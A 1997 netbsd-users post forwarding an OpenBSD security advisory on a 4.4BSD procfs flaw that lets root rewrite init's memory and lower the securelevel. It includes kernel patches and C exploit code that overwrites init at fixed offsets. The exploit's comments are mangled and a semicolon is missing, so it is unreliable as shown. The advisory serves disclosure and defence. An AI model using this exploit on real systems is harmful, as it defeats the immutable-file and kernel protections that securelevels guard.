Subject: [ADVISORY] 4.4BSD Securelevels (fwd)
To: None <netbsd-users@NetBSD.ORG>
From: Brian Mitchell <brian@firehouse.net>
List: netbsd-users
Date: 06/25/1997 02:58:21
Brian Mitchell                                  brian@firehouse.net
"BSD code sucks. Of course, everything else sucks far more."
- Theo de Raadt



---------- Forwarded message ----------
Date: Wed, 25 Jun 1997 16:22:01 +1000 (EST)
From: Darren Reed <avalon@coombs.anu.edu.au>
To: security@FreeBSD.ORG, hackers@FreeBSD.ORG
Subject: [ADVISORY] 4.4BSD Securelevels (fwd)

In some mail from Thomas H. Ptacek, sie said:
> From owner-bugtraq@NETSPACE.ORG Wed Jun 25 15:04:04 EST 1997
> Approved-By: aleph1@UNDERGROUND.ORG
> X-Mailer: ELM [version 2.4 PL24 ME8a]
> Content-Type: text
> Message-Id: <199706242349.SAA15385@enteract.com>
> Date: 	Tue, 24 Jun 1997 18:49:44 -0500
> Reply-To: tqbf@enteract.com
> Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
> From: "Thomas H. Ptacek" <tqbf@enteract.com>
> Subject:      [ADVISORY] 4.4BSD Securelevels
> To: BUGTRAQ@NETSPACE.ORG
> 
> ----------------------------------------------------------------------------
> 
>                         OpenBSD Security Advisory
> 
>                               June 24, 1997
> 
>                       Vulnerability in 4.4BSD procfs
> 
> ----------------------------------------------------------------------------
> 
> SYNOPSIS
> 
> A vulnerability in the 4.4BSD process filesystem allows arbitrary
> processes to lower the system securelevel, subverting security measures
> that rely on this setting. This problem can affects the filesystem
> "immutable" flag, and may allow intruders to modify the running kernel.
> 
> ----------------------------------------------------------------------------
> 
> AFFECTED SYSTEMS
> 
> It is believed that all 4.4BSD operating systems are currently vulnerable
> to this problem. A lack of BSDI source code prevents us from verifying
> it's applicability to that operating system.
> 
> Systems known to be currently vulnerable include:
> 
> OpenBSD 2.0 and OpenBSD 2.1 (the OpenBSD project has resolved this
> problem in OpenBSD-current).
> 
> All currently available versions of FreeBSD (the FreeBSD project has
> resolved this problem in FreeBSD-current).
> 
> All currently available versions of NetBSD.
> 
> ----------------------------------------------------------------------------
> 
> DETAILS
> 
> Certain security measures in the 4.4BSD kernel rely on a variable called
> the "securelevel", which is intended to allow the system to run with
> heightened security after initializations that may require extra
> flexibility. Mechanisms that rely on the securelevel are inactive until
> the securelevel is raised to a nonzero value.
> 
> The securelevels system relies on the fact that no user on the system,
> including the superuser, can lower the variable after it has been raised.
> This allows securelevels to be used to implement protections in the kernel
> against a compromised superuser account. A commonly-used example is
> the filesystem "immutable" flag, which prevents flagged files from being
> modified by anyone on the system, including the superuser.
> 
> The process of transitioning the system into single-user mode from
> multi-user mode involves several functions that require enhanced access
> to system internals. Because of this, the "init" process has the exclusive
> ability to decrease the system securelevel to facilitate this process. In
> recognition of this, in-kernel process-level debugging utilities, such as
> the ptrace() system call, do not function on the "init" process.
> 
> The 4.4BSD process filesystem presents a filesystem perspective to the
> process table. Process information tools such as "ps" can read the process
> filesystem information as directories and files, instead of digging
> through kernel memory directly. Additionally, process debugging tools can
> use procfs to modify running processes. Like ptrace(), the procfs code has
> recently been modified to prevent the subversion of the running init
> process.
> 
> Unfortunately, a vulnerability in the procfs code remains which allows a
> user with superuser credentials to modify the running init process and
> force it to reduce the system securelevel. Although the "attach" command,
> which is the procfs equivalent to the "attach" interface provided by
> ptrace(), is disallowed on the init process, write access to the virtual
> memory of the init process remains enabled. Modification to the running
> init process image can be used to subvert the process.
> 
> ----------------------------------------------------------------------------
> 
> TECHNICAL INFORMATION
> 
> The 4.4BSD process filesystem describes each process with a series of
> files, including "status", which provides the process status, "regs",
> which details the register set of the process, "mem", which provides
> access to the memory image of the process, and "ctl", which provides an
> interface to process control. The procfs vulnerability described in this
> advisory exploits the "mem" process description file.
> 
> By opening the "mem" file of the running init process up in a write mode,
> the virtual memory image of the init process can be modified. This access
> can be used to alter the executable code of the running process in it's
> text segment.
> 
> This can easily be exploited to reduce the securelevel of the system by
> altering code in init that already involves modification of the
> securelevel. One place where this occurs is within the "multi_user()"
> routine, which sets the securelevel to "1" upon entry (expressing the
> default behavior of running with securelevels enabled after initializing
> the system).
> 
> The relevant code is:
> 
>         if(getsecuritylevel() == 0)
>                 setsecuritylevel(1);
> 
> By excercising write access to the text of the init process, that code can
> be altered to set the securelevel to 0 by modifying two bytes of
> executable code - one two cause the "if" conditional to evaluate true
> after the system has entered multi-user mode, and one to alter the value
> passed to "setsecuritylevel" from "1" to "0", affecting a reduction in
> the system securelevel.
> 
> The newly modified code now reads:
> 
>         if(getsecuritylevel() != 0)
>                 setsecuritylevel(0);
> 
> The init program is a finite state machine driven by function pointers.
> The program can be forced to call multi_user() by setting a function
> pointer (using the "mem" file again) to the address of this routine. The
> next time "init" changes state, it will call multi_user() and reduce the
> securelevel.
> 
> ----------------------------------------------------------------------------
> 
> RESOLUTION
> 
> Two immediate fixes are available to this problem. The first resolves the
> specific problem presented by the procfs interface, and the second
> prevents "init" from being able to lower the securelevel at all, resolving
> the more general problem presented by making "init" a target for
> compromising the kernel.
> 
> A workaround to the problem is simply to disable the procfs filesystem in
> your kernel binary, by not specifying it in the kernel config file,
> reconfiguring the kernel, rebuilding it, and rebooting off the new kernel.
> This will reduce the functionality of process debugging tools.
> 
> The procfs fix involves a modification to sys/miscfs/procfs_subr.c, which
> implements the procfs_write() vnode interface. By causing the procfs_rw()
> routine to fail when the affected process ID is "1", "init" is now
> safeguarded against modification from the process filesystem.
> 
> An OpenBSD fix to the problem is provided at the end of this document.
> 
> The "init" securelevel fix involves a modification to sys/kern/kern_mib.c,
> where the "sysctl" interface to the "securelevel" variable is implemented.
> By causing this interface to fail at all times when the request attempts
> to reduce the securelevel, "init" is prevented from compromising the
> system.
> 
> The latter fix may reduce functionality on the system and is not
> recommended for installations that require the ability to perform
> extensive single-user mode operations after bringing the system into
> single-user mode.
> 
> An OpenBSD fix to the problem is provided at the end of this document.
> 
> ----------------------------------------------------------------------------
> 
> CREDITS
> 
> The OpenBSD development team would like to express it's gratitude to Alex
> Nash, for alerting us to this problem, as well as for providing the
> FreeBSD patch; to Theo de Raadt, for providing the OpenBSD procfs patch;
> and to Tim Newsham, for providing proof-of-concept code.
> 
> The developers at OpenBSD would also like to indicate their appreciation
> of FreeBSD's rapid resolution of this problem.
> 
> ----------------------------------------------------------------------------
> 
> OPENBSD PATCHES
> 
> To prevent the process filesystem from enabling the superuser to modify
> the running init image, apply the following patch to your OpenBSD kernel.
> 
> ----- cut here -----
> 
> *** sys/miscfs/procfs/procfs_subr.c     Tue Jun 24 15:56:02 1997
> --- sys-old/miscfs/procfs/procfs_subr.c Tue Jun 24 15:55:06 1997
> ***************
> *** 1,3 ****
> ! /*    $OpenBSD: procfs_subr.c,v 1.5 1997/04/06 07:00:14 millert Exp $ */
>   /*    $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $        */
> 
> --- 1,3 ----
> ! /*    $OpenBSD: procfs_subr.c,v 1.6 1997/06/21 12:19:45 deraadt Exp $ */
>   /*    $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $        */
> 
> ***************
> *** 222,225 ****
> --- 222,228 ----
>         if (p == 0)
>                 return (EINVAL);
> +       /* Do not permit games to be played with init(8) */
> +       if (p->p_pid == 1 && securelevel > 0 && uio->uio_rw == UIO_WRITE)
> +               return (EPERM);
> 
>         switch (pfs->pfs_type) {
> 
> ----- cut here -----
> 
> To prevent "init" from being able to decrease the system securelevel,
> apply the following patch to your OpenBSD kernel.
> 
> ----- cut here -----
> 
> *** kern_sysctl.c.orig  Tue Jun 24 17:28:52 1997
> --- kern_sysctl.c       Tue Jun 24 17:29:37 1997
> ***************
> *** 238,242 ****
>                         return (error);
>                 if ((securelevel > 0 || level < -1)
> !                   && level < securelevel && p->p_pid != 1)
>                         return (EPERM);
>                 securelevel = level;
> --- 238,242 ----
>                         return (error);
>                 if ((securelevel > 0 || level < -1)
> !                   && level < securelevel)
>                         return (EPERM);
>                 securelevel = level;
> 
> ----- cut here -----
> 
> ----------------------------------------------------------------------------
> 
> DEMONSTRATION CODE
> 
> The following code will compile and run on any 4.4BSD system. However, it
> relies on offsets into the memory image of the init process that may
> change from OS to OS, and from compilation to compilation. Attempting to
> run this program on an operating system other than the one for which it
> was intended will corrupt the text of the init process, and probably cause
> your system to crash. Use caution when attempting to use this program to
> assess your vulnerability.
> 
> After successfully running the program, the next init state transition
> will result in the system securelevel being reduced to "0".
> 
> The offsets in this program were gained from using "gdb" on a
> newly-compiled "init" binary with an intact symbol table. The address of
> the "multi_user()" function is available with:
> 
> % info address multi_user
> 
> The address of the "requested_transition" function pointer is available
> with:
> 
> % info address requested_transition
> 
> The address of the two modified instruction within that binary (the JE
> instruction that causes the multi_user() conditional to fail, and the
> argument to the PUSH instruction which indicates the new securelevel
> setting) are available with:
> 
> % disassemble multi_user
> 
> ----- cut here -----
> 
> /* FreeBSD 3.0 /sbin/init / procfs securelevel exploit */
> 
> #include <stdio.h>
> #include <fcntl.h>
> #include <errno.h>
> 
> /* these offsets are for FreeBSD 3.0 /sbin/init. Incorrect offsets
>  * will cause your system to crash.
>  */
> 
> /* offset to the beginning of the multi_user() routine */
>  * OpenBSD: 0x2eb4
>  */
> 
> #define  MULTI_USER_ROUTINE             0x27f8
> 
> /* offset of the JNE instruction in multi_user()       */
>  * OpenBSD: 0x2eb4 + 21
>  */
> 
> #define  EVALUATE_TRUE                  (0x27f8 + 21)
> 
> /* offset of the argument to the PUSH instruction      */
>  * OpenBSD: 0x2eb4 + 24
>  */
> 
> #define  SET_TO_ZERO                    (0x27f8 + 24)
> 
> /* offset of the "requested_transition" variable       */
>  * OpenBSD: 0x290b8
>  */
> 
> #define  TRANSITION_TO_MULTI_USER       0x2f0a0
> 
> #define  INIT_MEMORY_FILE               "/proc/1/mem"
> 
> /* invariant */
> 
> #define  JNE                            0x74
> 
> extern int errno;
> 
> int main(int argc, char **argv) {
>         int init_mem;
>         char c;
>         int i;
> 
>         /* access init's virtual memory image */
> 
>         init_mem = open(INIT_MEMORY_FILE, O_RDWR);
>         if(init_mem < 0) {
>                 perror("open");
>                 exit(errno);
>         }
> 
>         c = JNE;
> 
>         /* change == to != (JE to JNE)  */
> 
>         lseek(init_mem, EVALUATE_TRUE, SEEK_SET);
>         write(init_mem, &c, 1);
> 
>         c = 0x0;
> 
>         /* change 1 to 0                */
> 
>         lseek(init_mem, SET_TO_ZERO, SEEK_SET);
>         write(init_mem, &c, 1);
> 
>         /* change next state transition to multi_user */
> 
>         i = MULTI_USER_ROUTINE;
>         lseek(init_mem, TRANSITION_TO_MULTI_USER, SEEK_SET);
>         write(init_mem, &i, 4);
> 
>         close(init_mem);
> 
>         /* force an init state transition */
> 
>         if(!fork())
>                 exit(0)
> 
>         usleep(10000);
> 
>         exit(0);
> }
> 
> ----- cut here -----
> 
> ----------------------------------------------------------------------------
>